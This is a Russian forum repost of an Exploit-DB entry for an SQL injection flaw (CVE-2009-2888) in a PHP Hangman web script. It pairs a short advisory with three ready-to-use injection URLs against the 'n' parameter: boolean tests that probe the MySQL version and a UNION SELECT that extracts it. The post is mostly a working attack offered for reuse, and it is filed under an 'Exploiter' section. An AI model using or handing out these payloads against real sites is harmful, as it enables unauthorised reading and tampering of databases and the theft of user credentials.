Exploit PHP Scripts Now Hangman - 'index.php?n' SQL Injection

Exploiter

Хакер
34,644
0
18 Дек 2022
EDB-ID
34770
Проверка EDB
  1. Пройдено
Автор
MOUDI
Тип уязвимости
WEBAPPS
Платформа
PHP
CVE
cve-2009-2888
Дата публикации
2009-07-21
PHP Scripts Now Hangman - 'index.php?n' SQL Injection
Код:
source: https://www.securityfocus.com/bid/43513/info

TOPHangman is prone to an SQL-injection vulnerability and an HTML-injection vulnerability because it fails to sufficiently sanitize user-supplied input.

An attacker may leverage these issues to compromise the application, access or modify data, exploit latent vulnerabilities in the underlying database, or execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials, control how the site is viewed, and launch other attacks. 

http://www.example.com/hangman/index.php?letters=A&n=1%20and%201=1+AND%20SUBSTRING(@@version,1,1)=5 TRUE
http://www.example.com/hangman/index.php?letters=A&n=1%20and%201=1+AND%20SUBSTRING(@@version,1,1)=4 FALSE
http://www.example.com/hangman/index.php?letters=A&n=1%20and%201=1+union+select+1,version()--
 
Источник
www.exploit-db.com

Похожие темы